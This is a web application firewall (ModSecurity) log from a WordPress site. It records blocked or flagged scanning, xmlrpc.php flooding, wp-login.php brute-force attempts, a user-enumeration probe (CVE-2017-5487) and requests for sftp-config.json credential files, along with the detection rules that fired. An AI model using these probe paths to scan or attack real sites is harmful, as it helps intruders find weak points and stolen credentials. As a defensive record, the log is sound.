[Tue Feb 03 17:48:58.122444 2026] [:error] [pid 5229:tid 5252] [client 149.102.230.131:43654] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYHEikKmEgmJub93yUq2LAAAAZU"]
[Tue Feb 03 17:48:58.923285 2026] [:error] [pid 42922:tid 42993] [client 149.102.230.131:43662] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYHEimazX4WPS_dQRkhpoQAAAIg"]
[Tue Feb 03 17:48:59.515184 2026] [:error] [pid 42922:tid 42991] [client 149.102.230.131:43670] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aYHEi2azX4WPS_dQRkhppAAAAIY"]
[Tue Feb 03 17:49:00.105538 2026] [:error] [pid 42922:tid 42987] [client 149.102.230.131:43678] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aYHEjGazX4WPS_dQRkhppgAAAII"]
[Tue Feb 03 17:49:00.796990 2026] [:error] [pid 28720:tid 28741] [client 149.102.230.131:43682] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aYHEjGmRXm2bmr_sYiaeSwAAARM"]
[Tue Feb 03 17:49:01.410782 2026] [:error] [pid 42920:tid 42936] [client 149.102.230.131:43686] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aYHEjSix3YKltG4EU0lUSgAAAAc"]
[Tue Feb 03 17:49:01.996470 2026] [:error] [pid 5229:tid 5235] [client 149.102.230.131:43700] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aYHEjUKmEgmJub93yUq2LgAAAYQ"]
[Tue Feb 03 17:49:02.593282 2026] [:error] [pid 5229:tid 5249] [client 149.102.230.131:43706] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aYHEjkKmEgmJub93yUq2LwAAAZI"]
[Tue Feb 03 17:49:03.180399 2026] [:error] [pid 5229:tid 5244] [client 149.102.230.131:43720] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aYHEj0KmEgmJub93yUq2MQAAAY0"]
[Tue Feb 03 17:49:03.768820 2026] [:error] [pid 42922:tid 43002] [client 149.102.230.131:43728] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aYHEj2azX4WPS_dQRkhpqQAAAJE"]
[Tue Feb 03 17:49:04.399089 2026] [:error] [pid 28720:tid 28744] [client 149.102.230.131:43744] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aYHEkGmRXm2bmr_sYiaeUAAAARY"]
[Tue Feb 03 17:49:04.989645 2026] [:error] [pid 28720:tid 28725] [client 149.102.230.131:43752] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aYHEkGmRXm2bmr_sYiaeUwAAAQM"]
[Tue Feb 03 17:49:05.666438 2026] [:error] [pid 28720:tid 28740] [client 149.102.230.131:43758] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aYHEkWmRXm2bmr_sYiaeVQAAARI"]
[Tue Feb 03 17:49:06.463869 2026] [:error] [pid 42921:tid 42960] [client 149.102.230.131:43768] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aYHEkoblShffGl-01odISQAAAEI"]
[Tue Feb 03 17:49:07.084045 2026] [:error] [pid 28720:tid 28729] [client 149.102.230.131:43780] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aYHEk2mRXm2bmr_sYiaeVwAAAQc"]
[Tue Feb 03 17:49:07.683451 2026] [:error] [pid 28720:tid 28731] [client 149.102.230.131:53268] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aYHEk2mRXm2bmr_sYiaeWQAAAQk"]
[Tue Feb 03 17:49:08.281891 2026] [:error] [pid 42922:tid 43009] [client 149.102.230.131:53280] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aYHElGazX4WPS_dQRkhprAAAAJg"]
[Tue Feb 03 17:49:08.889462 2026] [:error] [pid 43028:tid 43034] [client 149.102.230.131:53286] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aYHElFnHWnJD4cJC5DtjoAAAAMQ"]
[Tue Feb 03 17:49:09.485779 2026] [:error] [pid 42922:tid 43006] [client 149.102.230.131:53294] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "aYHElWazX4WPS_dQRkhprQAAAJU"]
[Tue Feb 03 17:49:10.190699 2026] [:error] [pid 5148:tid 5164] [client 149.102.230.131:53302] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "aYHElr83HCHLtUIbS7Ks1AAAAU0"]
[Tue Feb 03 17:49:10.808138 2026] [:error] [pid 42921:tid 42968] [client 149.102.230.131:53318] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "aYHEloblShffGl-01odITwAAAEo"]
[Tue Feb 03 17:49:11.796356 2026] [:error] [pid 42922:tid 42994] [client 149.102.230.131:53324] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "aYHEl2azX4WPS_dQRkhprwAAAIk"]
[Tue Feb 03 17:54:20.873690 2026] [:error] [pid 42921:tid 42966] [client 209.50.227.124:47590] [client 209.50.227.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.50.227.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHFzIblShffGl-01odJgwAAAEg"]
[Tue Feb 03 18:13:16.375455 2026] [:error] [pid 5229:tid 5242] [client 35.231.117.18:51171] [client 35.231.117.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.117.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHKPEKmEgmJub93yUrA9wAAAYs"]
[Tue Feb 03 18:13:20.229825 2026] [:error] [pid 5229:tid 5238] [client 35.231.117.18:51171] [client 35.231.117.18] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYHKQEKmEgmJub93yUrA_gAAAYc"]
[Tue Feb 03 18:13:22.021460 2026] [:error] [pid 5229:tid 5237] [client 35.231.117.18:51171] [client 35.231.117.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.117.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHKQkKmEgmJub93yUrBAgAAAYY"]
[Tue Feb 03 18:13:24.213544 2026] [:error] [pid 5148:tid 5162] [client 35.231.117.18:65343] [client 35.231.117.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.117.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHKRL83HCHLtUIbS7K00gAAAUs"]
[Tue Feb 03 18:13:26.417710 2026] [:error] [pid 42922:tid 43000] [client 35.231.117.18:56720] [client 35.231.117.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.117.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHKRmazX4WPS_dQRkhv_QAAAI8"]
[Tue Feb 03 18:13:28.534103 2026] [:error] [pid 42922:tid 42991] [client 35.231.117.18:54335] [client 35.231.117.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.117.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHKSGazX4WPS_dQRkhv_gAAAIY"]
[Tue Feb 03 18:13:30.988412 2026] [:error] [pid 5148:tid 5168] [client 35.231.117.18:59030] [client 35.231.117.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.117.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHKSr83HCHLtUIbS7K05AAAAVE"]
[Tue Feb 03 18:13:30.988540 2026] [:error] [pid 5148:tid 5168] [client 35.231.117.18:59030] [client 35.231.117.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.231.117.18, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHKSr83HCHLtUIbS7K05AAAAVE"]
[Tue Feb 03 19:11:07.040365 2026] [:error] [pid 43028:tid 43054] [client 213.32.29.164:1526] [client 213.32.29.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.29.164, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYHXy1nHWnJD4cJC5Dt6rwAAANg"]
[Tue Feb 03 19:11:34.172000 2026] [:error] [pid 42920:tid 42952] [client 157.10.199.30:60108] [client 157.10.199.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.10.199.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYHX5iix3YKltG4EU0lo8QAAABc"]
[Tue Feb 03 19:11:38.812617 2026] [:error] [pid 42920:tid 42941] [client 157.10.199.30:60108] [client 157.10.199.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.10.199.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYHX6iix3YKltG4EU0lo-QAAAAw"], referer: https://gigfragments.org/wp-login.php
[Tue Feb 03 19:19:44.597029 2026] [:error] [pid 43028:tid 43041] [client 157.10.199.30:49664] [client 157.10.199.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.10.199.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYHZ0FnHWnJD4cJC5Dt9yAAAAMs"]
[Tue Feb 03 19:19:48.917024 2026] [:error] [pid 43028:tid 43041] [client 157.10.199.30:49664] [client 157.10.199.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.10.199.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYHZ1FnHWnJD4cJC5Dt90wAAAMs"], referer: https://gigfragments.org/wp-login.php
[Tue Feb 03 19:24:30.628438 2026] [:error] [pid 5148:tid 5174] [client 157.10.199.30:35616] [client 157.10.199.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.10.199.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYHa7r83HCHLtUIbS7LLBAAAAVc"]
[Tue Feb 03 19:24:36.331006 2026] [:error] [pid 5148:tid 5164] [client 157.10.199.30:35616] [client 157.10.199.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.10.199.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYHa9L83HCHLtUIbS7LLCgAAAU0"], referer: https://gigfragments.org/wp-login.php
[Tue Feb 03 19:29:44.086719 2026] [:error] [pid 28720:tid 28737] [client 103.65.236.149:54213] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aYHcKGmRXm2bmr_sYia4WQAAAQ8"]
[Tue Feb 03 19:29:44.402933 2026] [:error] [pid 42921:tid 42967] [client 103.65.236.149:54235] [client 103.65.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aYHcKIblShffGl-01odhnAAAAEk"]
[Tue Feb 03 19:43:16.565738 2026] [:error] [pid 42921:tid 42982] [client 203.86.122.1:37982] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYHfVIblShffGl-01odksgAAAFg"]
[Tue Feb 03 19:43:21.074149 2026] [:error] [pid 42921:tid 42974] [client 203.86.122.1:37982] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYHfWYblShffGl-01odkugAAAFA"], referer: https://gigfragments.org/wp-login.php
[Tue Feb 03 20:58:24.274107 2026] [:error] [pid 5148:tid 5169] [client 198.60.193.12:49676] [client 198.60.193.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.60.193.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHw8L83HCHLtUIbS7LmbQAAAVI"]
[Tue Feb 03 20:58:27.278145 2026] [:error] [pid 43028:tid 43036] [client 50.6.35.18:21116] [client 50.6.35.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.35.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHw81nHWnJD4cJC5DumrwAAAMY"]
[Tue Feb 03 20:58:40.888772 2026] [:error] [pid 42922:tid 42997] [client 35.222.174.159:38286] [client 35.222.174.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.174.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHxAGazX4WPS_dQRkibcgAAAIw"]
[Tue Feb 03 20:59:01.147366 2026] [:error] [pid 5229:tid 5241] [client 202.124.204.254:46196] [client 202.124.204.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.124.204.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHxFUKmEgmJub93yUr7hQAAAYo"]
[Tue Feb 03 20:59:06.766870 2026] [:error] [pid 42921:tid 42964] [client 91.239.146.172:65488] [client 91.239.146.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.239.146.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHxGoblShffGl-01od4NAAAAEY"]
[Tue Feb 03 20:59:11.838947 2026] [:error] [pid 42921:tid 42968] [client 129.226.82.190:52786] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHxH4blShffGl-01od4OwAAAEo"]
[Tue Feb 03 21:08:01.677348 2026] [:error] [pid 5148:tid 5165] [client 198.71.53.139:59132] [client 198.71.53.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.71.53.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYHzMb83HCHLtUIbS7LpOAAAAU4"]
[Tue Feb 03 22:42:48.244367 2026] [:error] [pid 43028:tid 43034] [client 170.106.15.3:41698] [client 170.106.15.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYIJaFnHWnJD4cJC5DvUWQAAAMQ"]
[Tue Feb 03 23:59:17.288599 2026] [:error] [pid 42920:tid 42935] [client 43.130.9.111:35172] [client 43.130.9.111] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYIbVSix3YKltG4EU0m0vgAAAAY"]
[Wed Feb 04 00:14:34.643587 2026] [:error] [pid 42921:tid 42973] [client 162.0.235.223:43760] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIe6oblShffGl-01oeuGgAAAE8"]
[Wed Feb 04 00:14:42.780482 2026] [:error] [pid 42921:tid 42973] [client 87.101.176.211:63518] [client 87.101.176.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.101.176.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIe8oblShffGl-01oeuLAAAAE8"]
[Wed Feb 04 00:14:44.865308 2026] [:error] [pid 42922:tid 42990] [client 47.86.33.61:43542] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIe9GazX4WPS_dQRkjQwgAAAIU"]
[Wed Feb 04 00:27:46.288074 2026] [:error] [pid 42922:tid 43002] [client 34.68.179.232:53981] [client 34.68.179.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.179.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIiAmazX4WPS_dQRkjT7QAAAJE"]
